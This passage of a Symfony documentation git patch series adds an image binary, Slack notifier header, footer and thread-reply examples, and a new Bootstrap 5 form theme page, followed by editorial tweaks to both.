zTK&tk6O53a<J=glr+G?E(Y}TKouek6J}RLUj!>pgNP+~Od{G0>@AD#ZaaHOeVnPlr
zcc9e#uXdSz&aSzM1p0=mHM+tm<ar#9;99Aq&+Xo&rGIUUWzMI=Rj&_<)~^isGRAU%
zf`XM*(CYN7ARe|zeyES#FqtOW4=<3Jcs4iu?`tmugQNBiwTOraJlV9~nZ;@~b8}v9
z?sSuK80mx52MHYN;Eew%Aq9iMw9&k~#2slnrc_nMr%gUqCL$u!h;E#i04L%zT!#Gx
z+#76tW@ZTFauz8`mj{@p5+*e@H9y}*iKDgLf&xPw9k-L2%Y?!{?XK<F`mQ4DaJ2x7
zzF)r%Q$-XbG*6KHO=vbz3i(WBCoD4Wot^GXGeZ|kuJRKj!<MsM1QO@#GQ7y~U$D!b
zph_LXut5SC7>w*`W$LoYXUE+VCL}z=!^i1`_4Of&={Anyp6+!P7Zx^Q?8XA|E)x@z
z^7HaY$;j^iN!t*H-vS<UaxzGMo&ABRK_Yn*zQ3$AVpSqFtzP$Dm!+~^<S`X7HZgko
zMcrA%FRCfczM7QXV=_5<u`9-=dR$jmcYS?*J9k>7)RfhiZVc@@%N9ukO3)`yo-Fv%
z6C>QpUSPUZkMeTJ<XorQzgV%TIOz7BDvpK+1bx&T>_bWs0bs<R-)y=Om>neN4T{A#
zM<&{c>9$Hr|3zD=l-s~%`V8;qsS@lRATBu>8J{}wYVrO1n=Id<ir2X=4WcGO0mz)3
zN3mU|O)ftgND_)|_>^NA^UMDQ`R@H|?zXINV`HvIskLBq@B*Ww$%HwPVm~6gUjpC4
z)PmGfF5mGyGpZS{L|R8hN8`;MeyO(RP@k!tBm%g(xqVO8M~sve6~92bn=dXv+^xNG
zyAi4_;b7p4v%vP})lMQF3*0>CGps3C=~+rVJuL+0RzxBo-C%RX!9`_dE$+)G``X_q
zl%MwwK9JTcBDeu^c58ckVt~ccN>fr;Nca!WAH2Ew+#+S2SP-1M_3VH^&BDpQM)=>7
z%O-9AT<o>yf8!Y7zt3x)6C<$ws`QtYv5^rVYiXHXQ862t(w%aBh0#8jkieJq@#!cY
zvID6Sy(nu{Rn`18SG(v$tsmx(u}5-+5!=k^U3upsgE1*r>GIU0Aq&Am%u_)@9ew-7
zCZ$AWok|JBv9zZB){g@`Y@eyAw*gd-eo?y7d&eB0xc9CFg`56SL1@ABG>Zv%CUJzg
zY$OF7ot#)%cZ9}XgPsT2Sw%HN?rRM_y^x8~0snI?mCTtI+~GExiH73xR!*-iOnqx}
z%M<P?G(1vFc{3!tq_?1MNYQY^Ss@-W5>{2EtFjxQYoMrD?3RYX&NfpIO#QkmpK0v0
z^B_!Fk|g%+VEOa2#~`k2sry>GjN1HO`Y80EthH5ocZX{Ss-~){s-Yn)BI4z_X$~_W
z1V9&~tgOtr+}K4*R9IM}CbVnus;L)o?&ttUZWXs8pZydhrQNT}FD^yTulr~?3AVOk
zl{^$poPJ^t&fZC@#)Bh@lk?h#S%#gr9G(3rw3VC0{L|?a`e0+UwWWfR#w#}`XRZ1w
zYc7s0GI~Vc0NnBBd{v76O06ud+zOKqX5K%zZCGY}-e<0b;n(-PnJ#gklCnI%xYBvU
z))8tvK6$huJR+R>T1-@QtiPXvcpgWVR^(JmoL!Ml(Dvm3BF@euOa?TVnJ+4Ko=l@X
z>QT5Y%yNEy0chw%PFvg9EH82l054r#MW-iw+NYYec92fjMlJ3g?(vYLqeDRU@jaxJ
zcV$h@aQnin^1WNPBO@Z!fUHR46ej=G?2-~epMA(cvg=F~0YK;zHXCr=+u1qMH|jMI
zeCCJnLS0`UGO--iewssb0I$dEtmnSrX=O?U9O2*|@OAXmE`9yfv=ZL8Bkes7WFjak
zzR=QxyfWI&+v(kUQF+~He?K#uaBYB$T`==SEYq^EP!Xz#m>{@QIp#(m(xTa3I$FuJ
z)=CU`gO(g<ftJHOJU4AEEkR70$xcI9dmkUyu`EcNg@F(dpMg9hB<#ApkTKGT$is)X
ztsYNnZC2(ry!zhGmcSlUzhhhY)5^fmu%n|Rv*`_ss3;#7S6W%|@^F29ROxFM$MtfU
zw5BG4sF5^_ob>h`Xk3bi2R$1HUrKuV!p4TEOKD+lE`Du&cD7{)O4xczSwc+A!NKtj
zdMc%xGbq3!Cc0w-NsP!Rc5WfJ@Fm?+)70D^Cb4j!`?A53eSXYzI`~757{LlTZM5Se
zqZ3duQMxHTfB7hs!gp2_iG--e&`Og6NCoA>!pML&VwTXEy{$|%YpAy0X(#rd!Ke8@
zdz}Rw^28tUhp1RWe+I3A1ZLse|Ir%#zrI}c1twpO1}4drRbFs>#S4RF^aNO>OL=r+
znW*Jg&mpR7BmiiS>9K41woN%r=(C6Hopps!;9OLVd~I!PBqUC@{(jf4=`W2eZpnZd
z8Xl+6QOU11DO?ZYpFX4eLWlN254E&FOHHPYR=0$CAP{{hln5XW-aU|_r1R;*TtjN1
z78W}ggx^Y^#pkrNvA4g@s_n=x;P!vNvSdVwD@plR1zZP-dDx11?erDTo#HYYysz;L
zoU?iY-K?b&lad4ls$<R=wO;t*0q<|#JXq-y5fJb_T0g4Insbu-4m@>O2o1s~Qc)A6
zqNKdTAZ=)7R*FI`2s@)fLZsS)nC|*ao}7|MXWjw&`ZO22d_m{P6F12hFtA|5SzN4f
z97ch2RQ)?e1zcQcnwX?c{x#7H5EmEs-2BTjH|4Xgm90(tfM$DreeknJIX*1jf<01+
z1E3(_cPZ@xlWeHj?!oHD&P45HN6(TQ6+0neIJaq|k*X>QaPy8=hNRCz`LrL0#@?+~
z#wxE~M+0gDzzFT`qogz{R6%E2zjKe60GQhx_Ws-deM9thD!-G9zP?Zh3n36m(^oi@
zZ&-d|y>o^C<2^aUvo`?X`BccP`OSBWaPlU!pUZR|6;QV`m642`F|z<Ck>sU(J2^{B
z(Ao9m;|pfC7fKx)E)Ghmc=Ig1^Oohj=+g4C-!m^FARclqCIP#1JD@G2L{5${ER33(
z`VOP?E6%EN*zFZ}pRwSO&*}wk9IODXOy2=0M?-)91f~9m55Ja{mdsoHnTh3L8d8E>
zB~_>=Qc_Z<zQlmNqod*2@X{-+zWX!F`FVX^*S`%uJ)_QGgzqp(N5p)r+@7EYqM{|h
zTY+O%R7hy5)uRxFYHVmwV5SfnAH$wW-<4nZ^i|ON_gbJwt1|iV4pzNzC@Ik>C@4ko
zBsnQbSy9Rh&hQqD2Iw$DGMWRf{co3n@~g$?;Qa*H>vz%?=5li8=9(}KL}_@}st#*0
zOx<BE?>=9s{QNQ(l;%(7WD~SP;$&M<K|w@FNMWW`&~tUpTKUdwleY{+Qj$X=+!0k7
zIc8G<hkF8GS;62rthaqi64aOBOulgt9uA2nbnC?S?dQa`QXkbZFUYYA`E6a%2N048
z^uc}l>I$7VDyyAGP9VnLY$W~A05=u-W%5y}A9#tmx^%1D+u0P~#s*;fV0L!cHFG^8
zbR#$HSk29CFY1fT@%q`1z^hC0&B<z)9|c{pnfCVfr1T;`2dB(HpwrP|5o03+s;a6(
z%EPZ(FQD1lM*3#WUeoVU>yC<qVJkR!Vni)u=T8RZ+p}9C-<k7&WzEf<oOE_{+`mT?
z<K|rrdKZi|>`LcJ1_ohaVW8O5*v@y^EH%4SzOSceU_cENRaCT5-$lRcK&^f@>e?pX
z-*-Ph!4W?=HLcs)O_e^dRUm+8rJ~l0KK;1QckZyTRNUi_TOL0Mz4LDbiK{MwBdFo%
zXk*kh^cu+=d5etXU_TYNU?Tu$<hgmBU`NB3YN4-x@BXzuOv8EU*WDCeLfcoi8W{qd
z+!wYwmf5xNu|a6X@87@A57*dOdHhahq}bS!kw|bnBo@4X9~}JdZ!|raI$$E&!v3I8
zPw)cujK3tLVZAq1oSmJYKYy<3*8Rl;%Ow47_>~2pIeX;gC3EORT3!JMke8od|5fzD
zFtq-preE8Q9ho@ky-h)&o+@OyozB$r`}d<qE`@mo1NJqdwY6y?r3pz%s#<CmO)eqY
zk3mwHD*VH5JAFL;MPFIk-E2!yFrP-UvN9&?TX?y8e*GeDbIVosCIa4UZfk?aurMN7
z`*C8@CpvM@UA~^=2EQ2BD!xkP7z!Nee}|Ly(NWv8iZ=ChfoM~U>-?_$3Jv-(MMWvJ
z`_Y4=!jF}Eb<SyBZ=;+*AG!+vIWdA;wPpKEj`jVW$OeWp14Rx1(x&d_M)&g7tDmm~
z$jC^WTMEO%-dlS<f_#LW{%Ik6U6&kP`%l}n9m>wY#pg=nD9VklA|oPRxVd%re)!<c
zST9ek8sU2U2b91QBcgsQF%<G!xBlP2=egC)@bJLs)!=hkVuUhil$ew=^RJzK*9r!8
z3>6ZDyZ=>5@BbRN{!;<`|GE6R)#xxmV2iXwbaeFPr4~`T#7Q5ovU0cqm%pq1T&$<Z
z^&#&+s$@8(UzlG2yVXodML&t7`TM$zVX{tIOJ%AGK3Nz=P+Nu{u)X&3Z}uK0I<0Od
zV0SJ<e0p=MKpmM^QDLEL;(oS2GPl8!=^drguA=L!D=Dc&6#m}O{aG{{Xk$99>pzIT
z`OP(fmr*JLRf-z4bsGN*7T!!NjB43=d0WxHL9C${EuCydV0)JC0sRA`pnj>Vs<BV_
zlqDjUJK$LZ_dehJFV;<P!(ZNNPy$}s<OQqtwV7My3Sf}78Y~|A^JU0EXadARK7Mlu
z9fVKH=G80qs3Xa@rz+N}*Z!I~oUilW4sdQNdYt~uaw_j5mGANDfV?kQxNxi<C%qYh
z6BK9n+QN~Yoi*StprK_Q?8FV!ce}Bo=Q|rU4hcK60dpH0M1bl?Rb5Y9Vs}D&`wz6)
z43_?J{A0>w<dK<+uWx4@OUMmA3r<c>JU~1{+O0h_Vt@ZP%8`eM2bBuC&3Au<!&hG#
z85__s`fnV50caxOt8<wI6dqWfw@0|z_XV9n2tTkO%VSiNmz|xB-o6zXffuMW2*?^J
z!Uuou9ZzpAEiVlY4qi#VdCVnoUYM`ud$dggnAX3hl-j+zB%&8}-5ROJ?(_tRdHunl
zGZV6d{4I4pfm-Q@vJQ|{UM}r7O3KA`o6v`FodPWSxU?@FpAN>gwz|m4S>7J#wyG3Q
z`<yP#&~HTPc3xM1BII%Vpy99W^}NEY7)g_p0*9(h8x<&fLE2gP;yo!{UU9M8%9PK{
z^>gh{9jStLG$~z8zC1-=zrI}vbpsg!D1^xwq)}PSGS;1*z~}SD*X#-C9y_gsf#QOK
z@{*FFAC>1zB#VSMzW07m0cb@$zvkvXKTP->*Z-82HCMRAuz&4vBRiWf-W>QgUX88a
z`djPV#cR<<m7{T&fZzH(RL9a1OaVs}s_mjVs>2HJn`_(EYddQM?r@w{8G$x4cXr-d
z3#{Hc>qU%_l9CDu4PR<KlnB^9tSd|7=J_*QoRwRG4~U_CqS-1eQbvY{S2yaG#mI1-
zD*spzk^`a?&%QJO07UZt)&eMZ9qwS?@$c>|<Se)$ksTduEG(Ag_(ZzYPsAQ#DyfQ{
z#l+B&So}tbXQA)Ilob@jkG7`kwJN}WY@2-gMqh@ShK5sBBz4>M3+JVkl`_*dPELLj
zKr>wu4q`~BI9OSJKuZf@Yx%|ZxTbFV!F{IdO`jV8EiLU^t+Xc-6C)*Z0Sw}#fI4UA
zhr2)2CA?!|V|T13&bFuhpylTHfSTHE55a1uv0X}2zccJWZdKLT_&8df{fEuBz-anW
z9<v%DE{UefU{bvY0O(vO#G)#&zkmPo->!Vr&Ef-+U;itPt<Bek>gjRmsi@M@n)4RU
zyzHRwAkOvv=`~190s`~%RFZZkz2|nn%XBp~EiYp;#SXTk&y~8gPSw-|yJ8tkG0P$|
zZwiOjLWt1En`a@&^70(87V_07qKwX2!<npBN9Q{pps08T7R5$3pq=cUU{4^bf&%NG
zlQNDfEp9lrq;ICDZ$5N92LV+xL%gx!P{w_@zEU2BkOEZH)I1cnl?1*-O*BqmB=sS3
zkj+0C@kk_SDTOdfJ)E9aT3%V1Zl>mJ9IL7BX3T`KXGG)oA<q#VjsSCDmRB(f_4KoP
zkSwSG3Q(vCvvUkm`rt%{fq`MDyC}D?Yf?GO-{Pt#oyjggztDB2YOAx?G^aPhavG<x
z?&x^s-xb3o(LS%gJ>6unS<v4FCb*%2&Rw2v42B4hf@O44Qd8T2NsvA@g^_v&5rYUw
z;ms{|>)i+n?65k^l;oixR`3=(@c^wpuzVUB)tr%(Fl3}zICP)KOk3~3c5GWpo!#SV
zipg|)VJ@51jMufaurQ{sE+@z8j&fI*R!%JAk%o$TX?gKkJyM$(kbP$sf4n_X-Q4`{
zINc|K-H*qp;n|&?fdF20_Mx9YA%a|{HD5u82-Kn$GKHO#*j7zpVd0M?A2Yo@RpM0~
zeOK<^dnoC-1llYonLfOJFmeD~F;G)kYu;kzV|`|X;Ro#||EsI|M~|2krRwVIHzw=7
zdthcbiMa1^siHewAO&e`6vvm6qBq@`{}E2kB%W7kvQ`59=g;k~&6tC!U-qyKjYfk;
z*W|BH<>mPA$>^-CtOkGM4|L@Wtx425e-W_BL8E;{{hHuTW5Z)(I?!|tiL}!*Mqxow
z{6MO!Lfr8hsMZyzs1m^9rxsFj{_sm6m_2HDm=G<H{YH*_G*m7)xFRjhn~vYAL2p)i
ztekLcbQD!wytcL$b9AVpqC!kUf*;7L9Aj+q8I#J-DlT59<oW2#!VUx59GD&es}x$9
zGvHE&-p|`Dw#yNrp$eH&=P5ieg%J`Gvg+E}%IeyIfzj50YdkpNRtO{LiNX2dZfjcc
z5QBvc?}hd-HKr5lEJKi|Hqg?p^4tEg7Zv5LzZ%HxGOcsTb)n$@tWHSi!ybYMR93oy
zk~>w>AwK+k6<T4=Ah8{OvZvkij}9@FhfV0)Q6*$Z)Lp@M-|QYyJczcn&uVk6&{BWB
zxh}lXde~1PU&i*`L#tbHP&FRncXW}R9fZM(8kv~%+t+~Qy0*gx3V9|xEYd=$&A%^K
ziF9aS;4X2f7#a;q2d0YyObX*Y`Bm2cEHZ)|AtgYrZ2UhiGy30<43)tqr7|-;Jsq6^
zyRqYi_`&72ii@ITyp+L<f-j#xm%^$AAl!duuRRl}-)LwY>Ofq#*XH?6K6Oy?+%?vt
z0%TztNximdULuxH^Q2MB%CR{vQ_V>kNzT^R)&A2D=;=3To;W!;FiQCTsyUdPRcg-{
zYIC1vcv$B$!_2`kW=80!(c4g{l~Q3w{qUiH$I9XSkN5t4cOQLZRrS#NO*A&Fj`?L)
z=|~o?cUD=#vY?wfiwfes#A4FU$FhI?2q$wWCoeDlD4iUdZ|5{R{OW0*NV!GYe{6n5
z#SRa=!t$Gh4n+=s$H(=dV`g_qq~JL9o|ZYVozFQr3-Aq5rLLbbv?8V5w;BrADMLat
z(Dk+&y(iJMBI>HfoKJV%5wPi>B#RFl$3>0Fz@QjP`5`G7h6W8@o9R(~lxtr>_D2W{
z&!!+hp*_bjp#8?i<2(|vYzQl3l=<l2_JBA4Y`R@o_!BKiT(YU199whC>kJ>?yCF*$
zjt@lKx}{<G1B{62f4{k&iMgKM>xRS?@7rU;3RZEy4nt|ihA$NUogx0OGsB0kEj4<z
zT<O5hbb^&dj(?kS?m*rushF79%>)v#DVz|c&ve3|e?{=W2c?CR9Z|I^7ds;mE&SUq
zcRzia^xo_g79J@4mLw+4WcGq8+w~&>Mv9G`H~(XQJpmS(N&W9g^gl)oOYzCnUHR3X
g|II44m}@-M0uflQ&UFO1+zwDx)Kn;!e;NGW0O1n1CjbBd

literal 0
HcmV?d00001

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index f01a8bd7ce6..f77e0ebfd5e 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -135,6 +135,120 @@ The result will be something like:
 
     The `field()` method was introduced in Symfony 5.1.
 
+Adding a header to a Slack Message
+-------------------------------------------
+
+To add a header to your message you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackHeaderBlock('My Header')))
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-header.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The `SlackHeaderBlock` class was introduced in Symfony 5.3.
+
+Adding a footer to a Slack Message
+-------------------------------------------
+
+To add a footer to your message you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $contextBlock = (new SlackContextBlock())
+        ->text('My Context')
+        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
+    ;
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        )
+        ->block($contextBlock)
+    ;
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-footer.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The `SlackContextBlock` class was introduced in Symfony 5.3.
+
+Sending a Slack Message as a reply
+-------------------------------------------
+
+To send your slack message as a reply in a thread you can use the
+:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My reply'))
+        ->threadTs('1621592155.003100')
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/message-reply.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The `threadTs()` method was introduced in Symfony 5.3.
+
 Adding Interactions to a Discord Message
 ----------------------------------------
 

From 884629de42c89da7219296dd2651b76736462c76 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 14:30:18 +0200
Subject: [PATCH 0860/5766] Tweaks

---
 notifier/chatters.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index f77e0ebfd5e..237581556ec 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -135,10 +135,10 @@ The result will be something like:
 
     The `field()` method was introduced in Symfony 5.1.
 
-Adding a header to a Slack Message
--------------------------------------------
+Adding a Header to a Slack Message
+----------------------------------
 
-To add a header to your message you can use the
+To add a header to your message use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
@@ -173,12 +173,12 @@ The result will be something like:
 
 .. versionadded:: 5.3
 
-    The `SlackHeaderBlock` class was introduced in Symfony 5.3.
+    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
 
-Adding a footer to a Slack Message
--------------------------------------------
+Adding a Footer to a Slack Message
+----------------------------------
 
-To add a footer to your message you can use the
+To add a footer to your message use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
@@ -216,12 +216,12 @@ The result will be something like:
 
 .. versionadded:: 5.3
 
-    The `SlackContextBlock` class was introduced in Symfony 5.3.
+    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
 
-Sending a Slack Message as a reply
--------------------------------------------
+Sending a Slack Message as a Reply
+----------------------------------
 
-To send your slack message as a reply in a thread you can use the
+To send your slack message as a reply in a thread use the
 :method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
@@ -247,7 +247,7 @@ The result will be something like:
 
 .. versionadded:: 5.3
 
-    The `threadTs()` method was introduced in Symfony 5.3.
+    The ``threadTs()`` method was introduced in Symfony 5.3.
 
 Adding Interactions to a Discord Message
 ----------------------------------------

From bcaf46a21cbfa5ab4d4244c31e61326bb8c647d7 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Wed, 17 Mar 2021 00:28:08 +0100
Subject: [PATCH 0861/5766] [Form] Bootstrap 5 documentation

---
 form/bootstrap5.rst | 265 ++++++++++++++++++++++++++++++++++++++++++++
 forms.rst           |   1 +
 2 files changed, 266 insertions(+)
 create mode 100644 form/bootstrap5.rst

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
new file mode 100644
index 00000000000..2a219c990a8
--- /dev/null
+++ b/form/bootstrap5.rst
@@ -0,0 +1,265 @@
+Bootstrap 5 Form Theme
+======================
+
+.. versionadded:: 5.3
+
+    The Bootstrap 5 Form Theme was introduce in Symfony 5.3.
+
+Symfony provides several ways of integrating Bootstrap into your application. The
+most straightforward way is to add the required ``<link>`` and ``<script>``
+elements in your templates (usually you only include them in the main layout
+template which other templates extend from):
+
+.. code-block:: html+twig
+
+    {# templates/base.html.twig #}
+
+    {# beware that the blocks in your template may be named different #}
+    {% block stylesheets %}
+        <!-- Copy CSS from https://getbootstrap.com/docs/5.0/getting-started/introduction/#css -->
+    {% endblock %}
+    {% block javascripts %}
+        <!-- Copy JavaScript from https://getbootstrap.com/docs/5.0/getting-started/introduction/#js -->
+    {% endblock %}
+
+If your application uses modern front-end practices, it's better to use
+:doc:`Webpack Encore </frontend>` and follow :doc:`this tutorial </frontend/encore/bootstrap>`
+to import Bootstrap's sources into your SCSS and JavaScript files.
+
+The next step is to configure the Symfony application to use Bootstrap 5 styles
+when rendering forms. If you want to apply them to all forms, define this
+configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            form_themes: ['bootstrap_5_layout.html.twig']
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme>
+                <!-- ... -->
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function(FrameworkConfig $twig) {
+            $twig->formThemes(['bootstrap_5_layout.html.twig']);
+
+            // ...
+        };
+
+If you prefer to apply the Bootstrap styles on a form to form basis, include the
+``form_theme`` tag in the templates where those forms are used:
+
+.. code-block:: html+twig
+
+    {# ... #}
+    {# this tag only applies to the forms defined in this template #}
+    {% form_theme form 'bootstrap_5_layout.html.twig' %}
+
+    {% block body %}
+        <h1>User Sign Up:</h1>
+        {{ form(form) }}
+    {% endblock %}
+
+.. _reference-forms-bootstrap-error-messages:
+
+.. note::
+
+    By default, all inputs are rendered with the ``mb-3`` class on their container.
+    If you override the `row_attr` class option, the ``mb-3`` will be override too
+    and you will need to explicitly add it.
+
+Error Messages
+--------------
+
+Unlike the Bootstrap 4 template, errors are rendered **after** the ``input`` element.
+However, this still make a strong connection between the error and its ``<input>``, as
+required by the `WCAG 2.0 standard`_.
+
+Checkboxes and Radios
+---------------------
+
+For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
+Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
+
+Inline Checkboxes and Radios
+----------------------------
+
+If you want to render your checkboxes or radios fields `inline`_, you can add
+the `checkbox-inline` or `radio-inline` class, depending of your Symfony Form
+type or `ChoiceType` configuration, to the label class.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder
+            ->add('myCheckbox', CheckboxType::class, [
+                'label_attr' => [
+                    'class' => '`checkbox-inline',
+                ],
+            ])
+            ->add('myRadio', RadioType::class, [
+                'label_attr' => [
+                    'class' => 'radio-inline',
+                ],
+            ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.myCheckbox, {
+            label_attr: {
+                class: 'checkbox-inline'
+            }
+        }) }}
+
+        {{ form_row(form.myRadio, {
+            label_attr: {
+                class: 'radio-inline'
+            }
+        }) }}
+
+Switches
+________
+
+Bootstrap 5 allows to render checkboxes as "`switches`_". You can enable this feature
+on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch`` class to the label:
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('myCheckbox', CheckboxType::class, [
+            'label_attr' => [
+                'class' => 'checkbox-switch',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.myCheckbox, {
+            label_attr: {
+                class: 'checkbox-switch'
+            }
+        }) }}
+
+.. tip::
+
+    You can also render your switches inline by simply adding the ``checkbox-inline`` class
+    on the ``label_attr`` option::
+
+        // ...
+        'label_attr' => [
+            'class' => '`checkbox-inline checkbox-switch',
+        ],
+        // ...
+
+.. caution::
+
+    Switches only work with **checkbox**.
+
+Input group
+___________
+
+To create `input group`_ in your Symfony Form, simply add the `input-group` class
+to the ``row_attr`` option.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('email', CheckboxType::class, [
+            'label' => '@',
+            'row_attr' => [
+                'class' => 'input-group',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.email, {
+            label: '@',
+            row_attr: {
+                class: 'input-group'
+            }
+        }) }}
+
+.. caution::
+
+    If you fill the `help` option of your form, it will also be rendered
+    as part of the group.
+
+Floating labels
+---------------
+
+To render an input field with a `floating label`_, you must add a ``label``,
+a ``placeholder`` and the ``form-floating`` class to the ``row_attr`` option
+of your form type.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('name', TextType::class, [
+            'label' => 'Name',
+            'attr' => [
+                'placeholder' => 'Name',
+            ],
+            'row_attr' => [
+                'class' => 'form-floating',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.name, {
+            label: 'Name',
+            attr: {
+                placeholder: 'Name'
+            },
+            row_attr: {
+                class: 'form-floating'
+            }
+        }) }}
+
+.. caution::
+
+    You **must** provide a ``label`` and a ``placeholder`` to make floating labels
+    work properly.
+
+Accessibility
+-------------
+
+The Bootstrap 5 framework has done a good job making it accessible for functional
+variations like impaired vision and cognitive ability. Symfony has taken this one
+step further to make sure the form theme complies with the `WCAG 2.0 standard`_.
+
+This does not mean that your entire website automatically complies with the full
+standard, but it does mean that you have come far in your work to create a design
+for **all** users.
+
+.. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
+.. _`inline`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#inline
+.. _`switches`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#switches
+.. _`input group`: https://getbootstrap.com/docs/5.0/forms/input-group/
+.. _`floating label`: https://getbootstrap.com/docs/5.0/forms/floating-labels/
diff --git a/forms.rst b/forms.rst
index 093e73e5cc2..3814caa0646 100644
--- a/forms.rst
+++ b/forms.rst
@@ -1042,6 +1042,7 @@ Form Themes and Customization:
     :maxdepth: 1
 
     /form/bootstrap4
+    /form/bootstrap5
     /form/form_customization
     /form/form_themes
 

From 245558c7f4966202a40a25cf0595533294869561 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 15:28:10 +0200
Subject: [PATCH 0862/5766] Minor tweaks

---
 form/bootstrap5.rst | 54 +++++++++++++++++++++++----------------------
 1 file changed, 28 insertions(+), 26 deletions(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 2a219c990a8..65f3ec10941 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -3,10 +3,10 @@ Bootstrap 5 Form Theme
 
 .. versionadded:: 5.3
 
-    The Bootstrap 5 Form Theme was introduce in Symfony 5.3.
+    The Bootstrap 5 Form Theme was introduced in Symfony 5.3.
 
-Symfony provides several ways of integrating Bootstrap into your application. The
-most straightforward way is to add the required ``<link>`` and ``<script>``
+Symfony provides several ways of integrating Bootstrap into your application.
+The most straightforward way is to add the required ``<link>`` and ``<script>``
 elements in your templates (usually you only include them in the main layout
 template which other templates extend from):
 
@@ -85,16 +85,16 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
 
 .. note::
 
-    By default, all inputs are rendered with the ``mb-3`` class on their container.
